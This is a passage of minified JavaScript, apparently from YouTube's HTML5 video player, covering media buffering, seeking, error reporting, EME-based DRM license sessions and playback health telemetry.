this.videoTrack.getDuration()),(!isFinite(this.D)||this.D!==x)&&x>0&&(this.FW.IC(x),this.D=x))}if(!this.T9())if(Ay(this.gy)&&this.gy.sG()){var T=this.gy;this.handleError("manifest.net.retryexhausted",T.tQ?{rc:T.G7}:{rc:T.G7.toString()},1)}else if(this.policy.C)a:{try{YPv(this.j);this.gy.isManifestless&&this.policy.D&&DA(this.iq);if(OBv(this)&&this.FW&&!fQ(this.FW)&&this.videoTrack.nf&&this.audioTrack.nf){this.kc("ssap",{delaysb:1,v:this.videoTrack.C.info.id,vf:this.videoTrack.C.info.Wv,a:this.audioTrack.C.info.id,
af:this.audioTrack.C.info.Wv});var t=this.FW,u=this.videoTrack.C,H=this.audioTrack.C;!fQ(t)&&H&&u&&(R_v(t,u.info,H.info,this.policy.cS),wKJ(this,t))}var I;((I=this.FW)==null?0:fQ(I))&&this.xM();this.policy.C||i$(this);jXV(this.j)}catch(Z){g.Vh(Z);T=Z;if(T.message.includes("changeType")){this.kc("ssap",{exp:T.name,msg:T.message,s:T.stack});break a}this.handleError("fmt.unplayable",{exp:T.name,msg:T.message,s:T.stack},1)}Pvv(this);g.Kt(this.AQ)}else if(!this.gy.Z||!FjJ(this.videoTrack)&&!FjJ(this.audioTrack)||
(this.videoTrack.T||this.audioTrack.T)&&this.policy.tM?t=!1:(this.CU(),this.Em.seekTo(Infinity,{wp:"checkLoaderTracksSync",KT:!0}),t=!0),!t){XKq(this);this.gy.isManifestless&&(h0X(this.videoTrack),h0X(this.audioTrack),DA(this.iq),(t=JU(this.videoTrack))&&t.Z&&(t=t.Z.j&&!this.policy.HD,this.kc(t===this.policy.J.Ok?"strm":"strmbug",{strm:t,sfmp4:this.policy.J.Ok,dfs:this.policy.HD},!0)));if(this.FW)this.xM();else if(this.policy.K){var E;t=!1;if(this.policy.Xo)for(u=g.S([this.videoTrack,this.audioTrack]),
H=u.next();!H.done;H=u.next()){I=H.value;for(H=JU(I);H&&I.QT()!==SN(I);H=JU(I))I.l6(H);t=t||!!H}else(T=JU(this.videoTrack))&&this.videoTrack.l6(T),(E=JU(this.audioTrack))&&this.audioTrack.l6(E);rC(this.videoTrack)&&rC(this.audioTrack)?this.logger.debug("Received all background data; disposing"):(T||E||t)&&TL(this)}i$(this);f9(this.T,this.videoTrack,this.videoTrack.C,!1);f9(this.T,this.audioTrack,this.audioTrack.C,!1);this.policy.uh||o7D(this,this.videoTrack,this.audioTrack);pTD(this.T,this.videoTrack,
this.audioTrack);pTD(this.T,this.audioTrack,this.videoTrack);Pvv(this);this.N&&(T=this.N,T.K?(E=T.D+T.policy.Gq,T.j||(E=Math.min(E,T.startTimeSecs+T.policy.OG)),T=Math.max(0,E*1E3-Date.now())):T=NaN,isNaN(T)||g.Kt(this.rp,T));g.Kt(this.AQ)}};
g.q.Ir=function(x){this.Em.Ir(x)};
g.q.xM=function(){var x=this;if(this.FW){var T=this.FW.C,t=this.FW.Z;bmD(this,this.audioTrack);bmD(this,this.videoTrack);var u=uUf(this);if(u){if(this.policy.AJ){if(!T.vl()){var H=JU(this.audioTrack);if(H){if(!$y(this,this.audioTrack,T,H.info))return;im5(this,this.audioTrack,T,H)}}if(!t.vl()&&(H=JU(this.videoTrack))){if(!$y(this,this.videoTrack,t,H.info))return;im5(this,this.videoTrack,t,H)}}this.Zb||(this.Zb=(0,g.bo)(),this.logger.debug(function(){return"Appends pause start "+x.Zb+" reason "+u}),
this.policy.j&&this.kc("apdps",{r:u}))}else if(this.Zb&&(sU3(this,this.Zb),this.Zb=0),$$q(this),H=!1,this.policy.Z&&Bo(this.videoTrack)||!jUm(this,this.videoTrack,t)||(H=!0,tXm(this.timing),HXq(this.timing)),this.FW&&!this.FW.oT()&&(this.policy.Z&&Bo(this.audioTrack)||!jUm(this,this.audioTrack,T)||(H=!0,seC(this.timing),iX3(this.timing)),!this.T9()&&this.FW)){if(!this.policy.hM&&rC(this.videoTrack)&&rC(this.audioTrack)&&Q5(this.FW)&&!this.FW.RF()){t=!1;
t=SN(this.audioTrack);if(this.policy.Z){var I;T=(I=this.zI)==null?void 0:VW(I,t.Gy*1E3);t=!(!T||T.clipId!==t.clipId);this.kc("ssap",{eos:t})}else I=t.C,t=I===this.gy.C[I.info.id];t&&(this.logger.debug("Setting EOS"),PJv(this.FW),W85(this.schedule))}H&&!this.FW.isAsync()&&TL(this)}}};
g.q.eq=function(x){var T,t=x===((T=this.FW)==null?void 0:T.C)?this.audioTrack:this.videoTrack,u;(u=t.Om)==null||u.stop();var H;if((H=JU(t))==null?0:H.isLocked){if(this.Em.Y().AM()){var I;this.kc("eosl",{ounlock:(I=JU(t))==null?void 0:I.info.Hk()})}var E;ABi(this,x===((E=this.FW)==null?void 0:E.C))}var Z;if(this.policy.F3&&x===((Z=this.FW)==null?void 0:Z.C)&&this.SY){T=this.SY-this.getCurrentTime();var e;this.Em.kc("asl",{l:T,xtag:(e=SN(this.audioTrack))==null?void 0:e.C.info.C});this.tQ=!1;this.SY=
0}x.YG()&&x.ma().length===0&&(x.bH(),this.FW&&!this.FW.YG()&&(this.Em.Y().AM()&&this.Em.kc("rms",{ld:"seek"}),this.FW.D=performance.now(),this.Em.NL(),this.Em.Y().AM()&&g.Kt(this.kP)));var l;(l=t.S)!=null&&Tb(l,0);this.policy.Cz&&this.policy.aq&&this.FW&&(t=x.pW())&&t.FQ()&&!Ec(x.ma(),Math.min(t.Gy+Ew,t.BS))&&this.kc("sbunb",{st:t.Gy,et:t.BS});this.policy.rp?K9(this):this.NI()};
g.q.mJ9=function(x){if(this.FW){var T=SN(x===this.FW.C?this.audioTrack:this.videoTrack);if(x=x.y_())for(var t=0;t<x.length;t++)this.kc("appendedbuffer",{i:t,b:g.Am(x[t].subarray(0,4096),3)});x=void 0;T&&(x=ae(T),this.policy.Z&&this.zI&&this.zI.nB()&&(x.ccid=this.zI.nB()));this.handleError("fmt.unplayable",x,1)}};
g.q.Xn=function(x){this.Em.Xn(x)};
g.q.KD=function(x,T,t){if(this.gy.isManifestless&&(x=!!x.info.video,mKv(this,T,t,x,!0),this.policy.Zk)){x=x?this.videoTrack:this.audioTrack;x.ZZ.push({QL:T.Mj,Pfc:t});x.ZZ.length>5&&x.ZZ.shift();T=T.Mj;var u;this.policy.Zk&&((u=this.Em.getVideoData())==null?0:u.enableServerStitchedDai)&&(u=g8m(this.audioTrack,T),t=g8m(this.videoTrack,T),u!==0&&t!==0&&u!==t&&this.handleError("ssdai.avsync",{sq:T,a:u,v:t},0))}};
g.q.Y9=function(x,T,t,u){x.info.video&&this.K.Y9(T,t,u)};
g.q.EW=function(x){this.C.EW(x)};
g.q.d6=oV(19);g.q.iL=function(x){this.zI=x;var T;(T=this.audioTrack.J)!=null&&(T.VF=x);(T=this.videoTrack.J)!=null&&(T.VF=x);T=this.j;T.J&&(T.Kf.kc("ssap",{addcacheclips:1,v:T.J.version,tl:vc3(T.J.Yq)}),k8f(T,x,T.J),T.J=void 0)};
g.q.vS=function(){return this.zI};
g.q.fO=function(){return this.videoTrack.N||this.audioTrack.N};
g.q.seek=function(x,T){if(this.T9())return MY();if(this.fO())return MY("seeking to head");if(this.policy.jY&&!isFinite(x))return G43(this.iq),g.dd(Infinity);XKq(this);this.aX=(0,g.bo)();this.policy.C||i$(this,x);this.FW&&this.FW.C&&this.FW.Z&&!this.Em.getVideoData().X7&&(this.FW.C.isLocked()||this.FW.Z.isLocked())&&this.Em.h8({reattachOnLockedBuffer:1,vsb:""+this.FW.Z.isLocked(),asb:""+this.FW.C.isLocked()});var t=this.getCurrentTime(),u=this.iq.seek(x,T);this.policy.Om||(this.currentTime=u);B6(this.K,
x,t,this.policy.xB&&!T.fN);TL(this);return g.dd(u)};
g.q.l2=function(x){return this.policy.C&&this.j.l2(x)};
g.q.jc=function(x,T){this.j.jc(x,T)};
g.q.getCurrentTime=function(){if(this.policy.Om){var x=this.Pk()||0;return this.Em.getCurrentTime()-x}return this.currentTime};
g.q.iK=function(){return this.audioTrack.C.info};
g.q.zY=function(){return this.videoTrack.C.info};
g.q.AA=function(){return this.audioTrack.C.info.Wv};
g.q.wv=function(){return this.videoTrack.C.info.Wv};
g.q.oU=function(){try{this.Pg(),al(this.audioTrack),al(this.videoTrack),ad(this.audioTrack),ad(this.videoTrack),this.audioTrack.dispose(),this.videoTrack.dispose(),g.W.prototype.oU.call(this)}catch(x){g.vW(x)}};
g.q.handleError=function(x,T,t){t=t===void 0?0:t;var u=zY(t);x==="fmt.unplayable"&&this.gy.isLive&&(this.policy.AJ=!1,cT(this.gy));T=new r4(x,T,t);g.f4(this);bF(T.details);this.Em.handleError(T);x!=="html5.invalidstate"&&T.errorCode!=="fmt.unplayable"&&x!=="fmt.unparseable"&&u&&this.dispose()};
g.q.K2=function(){var x=SN(this.audioTrack),T=SN(this.videoTrack);x={lct:this.getCurrentTime().toFixed(3),lsk:this.iq.isSeeking(),lmf:this.C.C.isLocked(),lbw:P_(this.schedule).toFixed(3),lhd:AF(this.schedule).toFixed(3),lst:((this.schedule.N.Z$()||0)*1E9).toFixed(3),laa:x?x.Hk():"",lva:T?T.Hk():"",lar:this.audioTrack.Z?this.audioTrack.Z.Hk():"",lvr:this.videoTrack.Z?this.videoTrack.Z.Hk():"",laq:""+zb(this.audioTrack),lvq:""+zb(this.videoTrack)};this.FW&&!this.FW.oT()&&this.FW.C&&this.FW.Z&&(x.lab=
iK(this.FW.C.ma()),x.lvb=iK(this.FW.Z.ma()));this.Zb&&(x.lapt=((0,g.bo)()-this.Zb).toFixed(0),x.lapr=uUf(this));this.Om&&(x.lapmabht=((0,g.bo)()-this.Om).toFixed(0),x.lapmabh=Bw(this,this.audioTrack).toFixed(0));this.QU&&(x.lapmvbht=((0,g.bo)()-this.QU).toFixed(0),x.lapmvbh=Bw(this,this.videoTrack).toFixed(0));this.hQ&&(x.lapsdai=((0,g.bo)()-this.hQ).toFixed(0));return x};
g.q.CU=function(){try{this.policy.C&&this.j.jc(!1,"pending"),this.audioTrack.CU(),this.videoTrack.CU()}catch(x){g.vW(x)}this.policy.K=""};
g.q.mf=function(){return rS(this.S)};
g.q.kc=function(x,T,t){this.Em.kc(x,T,t===void 0?!1:t)};
g.q.AR=function(){return this.Em.AR()};
g.q.KT=function(x,T){x/=T;isNaN(this.timestampOffset)&&rB5(this,x-Math.min(x,this.policy.W0));return(x-this.timestampOffset)*T};
g.q.Pk=function(){return this.timestampOffset};
g.q.isSeeking=function(){return this.iq.isSeeking()};
g.q.Lm=function(){this.K.Lm()};
g.q.NK=function(x,T,t){T=T===void 0?!1:T;t=t===void 0?{}:t;this.policy.C?this.Z.NK(x,T,t):this.C.NK(x,T,t)};
g.q.ju=function(x,T){if(!this.J)return!1;var t=this.videoTrack.C.index.tp(x);return this.J.ju(x,T,t)};
g.q.Rq=function(x,T){if(this.J&&this.K.Rq(x,this.J))return rB5(this,this.timestampOffset-T),TL(this),this.policy.T&&(cT(this.gy),ad(this.audioTrack),ad(this.videoTrack),this.CU()),!0;T=this.videoTrack.C.index.tp(x);this.handleError("ad.skipfailed",{dec:!!this.J,t:x.toFixed(3),sq:T});return!1};
g.q.getManifest=function(){return this.gy};
g.q.isOffline=function(){return!!this.Em.getVideoData().cotn};
g.q.J4=function(x,T){this.Em.J4(x,T)};
g.q.df=function(x){if(this.policy.JJ)this.policy.C&&this.j.jc(!0,"utc"),this.NI();else{var T=this.Em.getVideoData().rV;if(T){var t=this.T;t.N0=x;t.rV=T;Md(this)}}};
g.q.Gp=function(x){this.videoTrack.N=!1;this.audioTrack.N=!1;this.iq.Z=!1;this.Em.Gp(x)};
g.q.Qk=function(x){this.iq.Qk(x-this.Pk())};
g.q.Jb=function(){this.Em.Jb()};
g.q.Ae=function(x){x!==this.policy.EL&&((this.policy.EL=x)||this.NI())};
g.q.mM=function(x,T){var t=this.audioTrack.qJ,u=this.videoTrack.qJ;t&&u&&(t.remove(x,T),u.remove(x,T))};
g.q.h8=function(x){this.Em.h8(x)};
g.q.Jf=function(x){this.Em.Jf(x)};
g.q.uj=function(){return this.Em.uj()};g.q=g.q0.prototype;g.q.D3=function(x,T,t,u,H,I){return this.VF.D3(x,T,t,u,H,I)};
g.q.yR=function(x,T,t,u,H,I){return this.VF.yR(x,T,t,u,H,I)};
g.q.Tb=function(x){return this.VF.Tb(x)};
g.q.Df=function(x){this.VF.Df(x)};
g.q.Uh=function(x,T,t,u){return this.VF.Uh(x,T,t,u)};
g.q.Lm=function(){this.VF.Lm()};
g.q.ju=function(x,T,t){return this.VF.ju(x,T,t)};
g.q.Os=function(x,T){this.VF.Os(x,T)};
g.q.vG=function(){this.VF.vG()};
g.q.Vf=oV(47);g.q.DG=function(x,T,t){this.VF.DG(x,T,t)};
g.q.gf=oV(50);g.q.OR=function(x,T,t,u,H,I,E,Z,e){this.VF.OR(x,T,t,u,H,I,E,Z,e)};
g.q.Mc=function(x){this.VF.Mc(x)};
g.q.a9=function(x){return this.VF.a9(x)};
g.q.TO=function(x){return this.VF.TO(x)};g.P(Zi,g.$B);g.P(jh,Zi);jh.prototype.D=function(x,T){if(x&&T){var t=Number(Cq(x,"cpi"))*1+1;isNaN(t)||t<=0||t<this.j?(this.K.stop(),this.Z.stop(),this.j=-1,this.C={}):(t>this.j&&(this.j=t,g.z0(this.C)||(this.C={},this.K.stop(),this.Z.stop())),this.C[T]=x,g.Kt(this.Z))}};
jh.prototype.T=function(){for(var x=g.S(Object.keys(this.C)),T=x.next();!T.done;T=x.next()){var t=T.value;T=this.publish;for(var u=this.j,H=this.C[t].match(Gl),I=[],E=g.S(H[6].split("&")),Z=E.next();!Z.done;Z=E.next())Z=Z.value,Z.indexOf("cpi=")===0?I.push("cpi="+u.toString()):Z.indexOf("ek=")===0?I.push("ek="+g.Ob(t)):I.push(Z);H[6]="?"+I.join("&");t="skd://"+H.slice(2).join("");H=t.length*2;u=new Uint8Array(H+4);u[0]=H%256;u[1]=(H-u[0])/256;for(H=0;H<t.length;++H)u[H*2+4]=t.charCodeAt(H);T.call(this,
"rotated_need_key_info_ready",new Id(u,"fairplay",!0))}this.C={}};
jh.prototype.oU=function(){this.C={};Zi.prototype.oU.call(this)};g.P(eh,Zi);
eh.prototype.T=function(x){var T;a:{if((T=x.cryptoPeriodIndex)&&this.C.length>0)for(var t=g.S(this.C),u=t.next();!u.done;u=t.next())if(T===u.value.info.cryptoPeriodIndex){T=!0;break a}T=!1}if(!T){T=(0,g.bo)();a:{t=x.cryptoPeriodIndex;if(!isNaN(t)){u=g.S(this.j.values());for(var H=u.next();!H.done;H=u.next())if(Math.abs(H.value.cryptoPeriodIndex-t)<=1){t=!0;break a}}t=!1}t?(t=x.C,t=Math.max(0,Math.random()*((isNaN(t)?120:t)-30))*1E3):t=0;this.publish("log_qoe",{wvagt:"delay."+t,cpi:x.cryptoPeriodIndex,reqlen:this.C.length,
ignore:this.K});t<=0?v7m(this,x):this.K||(this.C.push({time:T+t,info:x}),g.Kt(this.Z,t))}};
eh.prototype.oU=function(){this.C=[];Zi.prototype.oU.call(this)};var dt={},aFi=(dt.DRM_TRACK_TYPE_AUDIO="AUDIO",dt.DRM_TRACK_TYPE_SD="SD",dt.DRM_TRACK_TYPE_HD="HD",dt.DRM_TRACK_TYPE_UHD1="UHD1",dt);g.P(LE5,g.W);g.P(BbD,g.$B);g.q=BbD.prototype;g.q.ZS=function(x){var T=this;this.T9()||x.size<=0||(x.forEach(function(t,u){var H=LY(T.Z)?u:t;u=new Uint8Array(LY(T.Z)?t:u);LY(T.Z)&&txJ(u);t=g.Am(u,4);txJ(u);u=g.Am(u,4);T.C[t]?T.C[t].status=H:T.C[u]?T.C[u].status=H:T.C[t]={type:"",status:H}}),KED(this,","),l$(this,{onkeystatuschange:1}),this.status="kc",this.publish("keystatuseschange",this))};
g.q.error=function(x,T,t,u){this.T9()||(this.publish("licenseerror",x,T,t,u),x==="drm.provision"&&(x=(Date.now()-this.D)/1E3,this.D=NaN,this.publish("ctmp","provf",{et:x.toFixed(3)})));zY(T)&&this.dispose()};
g.q.shouldRetry=function(x,T){return!x&&this.requestNumber===T.requestNumber};
g.q.oU=function(){this.C={};g.$B.prototype.oU.call(this)};
g.q.K2=function(){var x={ctype:this.J.contentType||"",length:this.J.initData.length,requestedKeyIds:this.uG,cryptoPeriodIndex:this.cryptoPeriodIndex};this.j&&(x.keyStatuses=this.C);return x};
g.q.getInfo=function(){var x=this.K.join();if(m_(this)){var T=new Set,t;for(t in this.C)this.C[t].status!=="usable"&&T.add(this.C[t].type);x+="/UKS."+Array.from(T)}return x+="/"+this.cryptoPeriodIndex};
g.q.sY=function(){return this.url};g.P(dR,g.W);g.q=dR.prototype;g.q.aZ=function(x){if(this.T){var T=x.messageType||"license-request";this.T(new Uint8Array(x.message),T)}};
g.q.ZS=function(){this.N&&this.N(this.C.keyStatuses)};
g.q.onClosed=function(){this.T9()||g.D2("xboxone")&&this.j&&this.j("closed")};
g.q.RO=function(x){this.T&&this.T(x.message,"license-request")};
g.q.Mn=function(x){if(this.j){if(this.Z){var T=this.Z.error.code;x=this.Z.error.systemCode}else T=x.errorCode,x=x.systemCode;this.j("t.prefixedKeyError;c."+T+";sc."+x,T,x)}};
g.q.hW=function(){this.D&&this.D()};
g.q.update=function(x){var T=this;if(this.C)return(fY.isActive()?fY.Hf("emeupd",function(){return T.C.update(x)}):this.C.update(x)).then(null,Sv(function(t){us3(T,"t.update",t)}));
this.Z?this.Z.update(x):this.element.addKey?this.element.addKey(this.J.keySystem,x,this.initData,this.sessionId):this.element.webkitAddKey&&this.element.webkitAddKey(this.J.keySystem,x,this.initData,this.sessionId);return vi()};
g.q.oU=function(){this.C&&(this.S?this.C.close().catch(g.Vh):this.C.close());this.element=null;g.W.prototype.oU.call(this)};g.P(M0,g.W);g.q=M0.prototype;g.q.QD=function(){var x=this;if(this.C.keySystemAccess)return(fY.isActive()?fY.Hf("emenew",function(){return x.C.keySystemAccess.createMediaKeys()}):this.C.keySystemAccess.createMediaKeys()).then(function(t){if(!x.T9())if(x.Z=t,fY.isActive())fY.Hf("emeset",function(){return x.element.setMediaKeys(t)});
else{var u;(u=x.element)==null||u.setMediaKeys(t)}});
if(GW(this.C))this.j=new (VF())(this.C.keySystem);else if(nY(this.C)){this.j=new (VF())(this.C.keySystem);var T;(T=this.element)==null||T.webkitSetMediaKeys(this.j)}else fY.isActive()&&this.kc("emev",{v:"01b"}),rx(this.T,this.element,["keymessage","webkitkeymessage"],this.vc),rx(this.T,this.element,["keyerror","webkitkeyerror"],this.X$),rx(this.T,this.element,["keyadded","webkitkeyadded"],this.Wc);return null};
g.q.setServerCertificate=function(){return this.Z.setServerCertificate?this.C.flavor==="widevine"&&this.C.yS?this.Z.setServerCertificate(this.C.yS):gV(this.C)&&this.C.tQ?this.Z.setServerCertificate(this.C.tQ):null:null};
g.q.createSession=function(x,T){var t=x.initData;if(this.C.keySystemAccess){T&&T("createsession");var u=this.Z.createSession();a$(this.C)?t=$wJ(t,this.C.tQ):gV(this.C)&&(t=hH3(t)||new Uint8Array(0));T&&T("genreq");var H=fY.isActive()?fY.Hf("emegen",function(){return u.generateRequest(x.contentType,t)}):u.generateRequest(x.contentType,t);
var I=new dR(null,null,null,u,null,this.N);H.then(function(){T&&T("genreqsuccess")},Sv(function(Z){us3(I,"t.generateRequest",Z)}));
return I}if(GW(this.C))return iW3(this,t);if(nY(this.C))return HW4(this,t);if((H=this.element)==null?0:H.generateKeyRequest)this.element.generateKeyRequest(this.C.keySystem,t);else{var E;(E=this.element)==null||E.webkitGenerateKeyRequest(this.C.keySystem,t)}return this.K=new dR(this.element,this.C,t,null,null,this.N)};
g.q.vc=function(x){var T=I0m(this,x);T&&T.RO(x)};
g.q.X$=function(x){var T=I0m(this,x);T&&T.Mn(x)};
g.q.Wc=function(x){var T=I0m(this,x);T&&T.hW(x)};
g.q.getMetrics=function(){if(this.Z&&this.Z.getMetrics)try{var x=this.Z.getMetrics()}catch(T){}return x};
g.q.oU=function(){this.j=this.Z=null;var x;(x=this.K)==null||x.dispose();x=g.S(Object.values(this.D));for(var T=x.next();!T.done;T=x.next())T.value.dispose();this.D={};g.W.prototype.oU.call(this);delete this.element};g.q=Al.prototype;g.q.get=function(x){x=this.findIndex(x);return x!==-1?this.values[x]:null};
g.q.remove=function(x){x=this.findIndex(x);x!==-1&&(this.keys.splice(x,1),this.values.splice(x,1))};
g.q.removeAll=function(){this.keys=[];this.values=[]};
g.q.set=function(x,T){var t=this.findIndex(x);t!==-1?this.values[t]=T:(this.keys.push(x),this.values.push(T))};
g.q.findIndex=function(x){return g.fC(this.keys,function(T){return g.qv(x,T)})};g.P(dI3,g.$B);g.q=dI3.prototype;g.q.yqZ=function(x){this.QY({onecpt:1});x.initData&&Rjm(this,new Uint8Array(x.initData),x.initDataType)};
g.q.mUm=function(x){this.QY({onndky:1});Rjm(this,x.initData,x.contentType)};
g.q.Xn=function(x){this.QY({onneedkeyinfo:1});this.Cf.B("html5_eme_loader_sync")&&(this.N.get(x.initData)||this.N.set(x.initData,x));AJf(this,x)};
g.q.Wa=function(x){this.j.push(x);R1(this)};
g.q.createSession=function(x){var T=SfJ(this)?OXq(x):g.Am(x.initData);this.Z.get(T);this.Hv=!0;x=new BbD(this.videoData,this.Cf,x,this.drmSessionId);this.Z.set(T,x);x.subscribe("ctmp",this.XL,this);x.subscribe("keystatuseschange",this.ZS,this);x.subscribe("licenseerror",this.Zv,this);x.subscribe("newlicense",this.Qg,this);x.subscribe("newsession",this.De,this);x.subscribe("sessionready",this.G1,this);x.subscribe("fairplay_next_need_key_info",this.Pd,this);this.Cf.B("html5_enable_vp9_fairplay")&&x.subscribe("qualitychange",
this.hP,this);this.Cf.B("html5_enable_sabr_drm_hd720p")&&x.subscribe("sabrlicenseconstraint",this.Aof,this);Nbi(x,this.K)};
g.q.Qg=function(x){this.T9()||(this.QY({onnelcswhb:1}),x&&!this.heartbeatParams&&(this.heartbeatParams=x,this.publish("heartbeatparams",x)))};
g.q.De=function(){this.T9()||(this.QY({newlcssn:1}),this.j.shift(),this.Hv=!1,R1(this))};
g.q.G1=function(){if(GW(this.C)&&(this.QY({onsnrdy:1}),this.QU--,this.QU===0)){var x=this.ZZ,T,t;(T=x.element)==null||(t=T.msSetMediaKeys)==null||t.call(T,x.j)}};
g.q.ZS=function(x){if(!this.T9()){!this.hQ&&this.videoData.B("html5_log_drm_metrics_on_key_statuses")&&(cJX(this),this.hQ=!0);this.QY({onksch:1});var T=this.hP;if(!m_(x)&&g.Qb&&x.Z.keySystem==="com.microsoft.playready"&&navigator.requestMediaKeySystemAccess)var t="large";else{t=[];var u=!0;if(m_(x))for(var H=g.S(Object.keys(x.C)),I=H.next();!I.done;I=H.next())I=I.value,x.C[I].status==="usable"&&t.push(x.C[I].type),x.C[I].status!=="unknown"&&(u=!1);if(!m_(x)||u)t=x.K;t=wVX(t)}T.call(this,t);this.publish("keystatuseschange",
x)}};
g.q.XL=function(x,T){this.T9()||this.publish("ctmp",x,T)};
g.q.Pd=function(x,T){this.T9()||this.publish("fairplay_next_need_key_info",x,T)};
g.q.Zv=function(x,T,t,u){this.T9()||(this.videoData.B("html5_log_drm_metrics_on_error")&&cJX(this),this.publish("licenseerror",x,T,t,u))};
g.q.Cm=function(){return this.J};
g.q.hP=function(x){var T=g.uG("auto",x,!1,"l");if(this.videoData.kX){if(this.J.RH(T))return}else if(B6D(this.J,x))return;this.J=T;this.publish("qualitychange");this.QY({updtlq:x})};
g.q.Aof=function(x){this.videoData.sabrLicenseConstraint=x};
g.q.oU=function(){this.C.keySystemAccess&&this.element&&(this.uG?this.element.setMediaKeys(null).catch(g.Vh):this.element.setMediaKeys(null));this.element=null;this.j=[];for(var x=g.S(this.Z.values()),T=x.next();!T.done;T=x.next())T=T.value,T.unsubscribe("ctmp",this.XL,this),T.unsubscribe("keystatuseschange",this.ZS,this),T.unsubscribe("licenseerror",this.Zv,this),T.unsubscribe("newlicense",this.Qg,this),T.unsubscribe("newsession",this.De,this),T.unsubscribe("sessionready",this.G1,this),T.unsubscribe("fairplay_next_need_key_info",
this.Pd,this),this.Cf.B("html5_enable_vp9_fairplay")&&T.unsubscribe("qualitychange",this.hP,this),T.dispose();this.Z.clear();this.D.removeAll();this.N.removeAll();this.heartbeatParams=null;g.$B.prototype.oU.call(this)};
g.q.K2=function(){for(var x={systemInfo:this.C.K2(),sessions:[]},T=g.S(this.Z.values()),t=T.next();!t.done;t=T.next())x.sessions.push(t.value.K2());return x};
g.q.getInfo=function(){return this.Z.size<=0?"no session":""+this.Z.values().next().value.getInfo()+(this.T?"/KR":"")};
g.q.QY=function(x,T){T=T===void 0?!1:T;this.T9()||(bF(x),(this.Cf.AM()||T)&&this.publish("ctmp","drmlog",x))};g.P(zjC,g.W);g.q=zjC.prototype;g.q.Fv=function(){return!!this.w6};
g.q.OB=function(){return this.Z};
g.q.handleError=function(x){var T=this;Gbf(this,x);if((x.errorCode!=="html5.invalidstate"&&x.errorCode!=="fmt.unplayable"&&x.errorCode!=="fmt.unparseable"||!VNX(this,x.errorCode,x.details))&&!goD(this,x)){if(this.Pv.ZZ!=="yt"&&no5(this,x)&&this.videoData.JJ&&(0,g.bo)()/1E3>this.videoData.JJ&&this.Pv.ZZ==="hm"){var t=Object.assign({e:x.errorCode},x.details);t.stalesigexp="1";t.expire=this.videoData.JJ;t.init=this.videoData.Tg/1E3;t.now=(0,g.bo)()/1E3;t.systelapsed=((0,g.bo)()-this.videoData.Tg)/1E3;
x=new r4(x.errorCode,t,2);this.Em.V9(x.errorCode,2,"SIGNATURE_EXPIRED",bF(x.details))}if(zY(x.severity)){var u;t=(u=this.Em.Kf)==null?void 0:u.C.C;if(this.Pv.B("html5_use_network_error_code_enums"))if(LCH(x)&&t&&t.isLocked())var H="FORMAT_UNAVAILABLE";else if(this.Pv.D||x.errorCode!=="auth"||x.details.rc!==429)x.errorCode==="ump.spsrejectfailure"&&(H="HTML5_SPS_UMP_STATUS_REJECTED");else{H="TOO_MANY_REQUESTS";var I="6"}else LCH(x)&&t&&t.isLocked()?H="FORMAT_UNAVAILABLE":this.Pv.D||x.errorCode!=="auth"||
x.details.rc!=="429"?x.errorCode==="ump.spsrejectfailure"&&(H="HTML5_SPS_UMP_STATUS_REJECTED"):(H="TOO_MANY_REQUESTS",I="6");this.Em.V9(x.errorCode,x.severity,H,bF(x.details),I)}else this.Em.publish("nonfatalerror",x),u=/^pp/.test(this.videoData.clientPlaybackNonce),this.XD(x.errorCode,x.details),u&&x.errorCode==="manifest.net.connect"&&(x="https://www.youtube.com/generate_204?cpn="+this.videoData.clientPlaybackNonce+"&t="+(0,g.bo)(),Uz(x,"manifest",function(E){T.D=!0;T.kc("pathprobe",E)},function(E){T.XD(E.errorCode,
E.details)}))}};
g.q.kc=function(x,T){this.Em.VA().kc(x,T)};
g.q.XD=function(x,T){T=bF(T);this.Em.VA().XD(x,T)};DIC.prototype.Yh=function(x,T){return(T===void 0?0:T)?{Ki:x?cr(this,x):yv,Pi:x?wo5(this,x):yv,ZKv:x?O9J(this,x):yv,dmW:x?tn5(this,x.videoData):yv,F_:x?sDf(this,x.videoData,x):yv,opY:x?Qd3(this,x):yv,x0U:JJC(this)}:{Ki:x?cr(this,x):yv}};
DIC.prototype.B=function(x){return this.Cf.B(x)};g.P(Yy,g.W);Yy.prototype.onError=function(x){if(x!=="player.fatalexception"||this.provider.B("html5_exception_to_health"))x==="sabr.fallback"&&(this.encounteredSabrFallback=!0),x.match(IIV)?this.networkErrorCount++:this.nonNetworkErrorCount++};
Yy.prototype.send=function(){if(!(this.j||this.C<0)){H0f(this);var x=g.Uw(this.provider)-this.C,T="PLAYER_PLAYBACK_STATE_UNKNOWN",t=this.playerState.Eo;this.playerState.isError()?T=t&&t.errorCode==="auth"?"PLAYER_PLAYBACK_STATE_UNKNOWN":"PLAYER_PLAYBACK_STATE_ERROR":g.p(this.playerState,2)?T="PLAYER_PLAYBACK_STATE_ENDED":g.p(this.playerState,64)?T="PLAYER_PLAYBACK_STATE_UNSTARTED":g.p(this.playerState,16)||g.p(this.playerState,32)?T="PLAYER_PLAYBACK_STATE_SEEKING":g.p(this.playerState,1)&&g.p(this.playerState,
4)?T="PLAYER_PLAYBACK_STATE_PAUSED_BUFFERING":g.p(this.playerState,1)?T="PLAYER_PLAYBACK_STATE_BUFFERING":g.p(this.playerState,4)?T="PLAYER_PLAYBACK_STATE_PAUSED":g.p(this.playerState,8)&&(T="PLAYER_PLAYBACK_STATE_PLAYING");t=o13[PV(this.provider.videoData)];a:switch(this.provider.Cf.playerCanaryState){case "canary":var u="HTML5_PLAYER_CANARY_TYPE_EXPERIMENT";break a;case "holdback":u="HTML5_PLAYER_CANARY_TYPE_CONTROL";break a;default:u="HTML5_PLAYER_CANARY_TYPE_UNSPECIFIED"}var H=i0i(this.provider),
I=this.Z<0?x:this.Z-this.C;x=this.provider.Cf.F3+36E5<(0,g.bo)();T={started:this.Z>=0,stateAtSend:T,joinLatencySecs:I,jsErrorCount:this.jsErrorCount,playTimeSecs:this.playTimeSecs,rebufferTimeSecs:this.rebufferTimeSecs,seekCount:this.seekCount,networkErrorCount:this.networkErrorCount,nonNetworkErrorCount:this.nonNetworkErrorCount,playerCanaryType:u,playerCanaryStage:H,isAd:this.provider.videoData.isAd(),liveMode:t,hasDrm:!!g.AB(this.provider.videoData),isGapless:this.provider.videoData.J,isServerStitchedDai:this.provider.videoData.enableServerStitchedDai,
encounteredSabrFallback:this.encounteredSabrFallback,isSabr:$7(this.provider.videoData)};x||g.io("html5PlayerHealthEvent",T);this.j=!0;this.dispose()}};
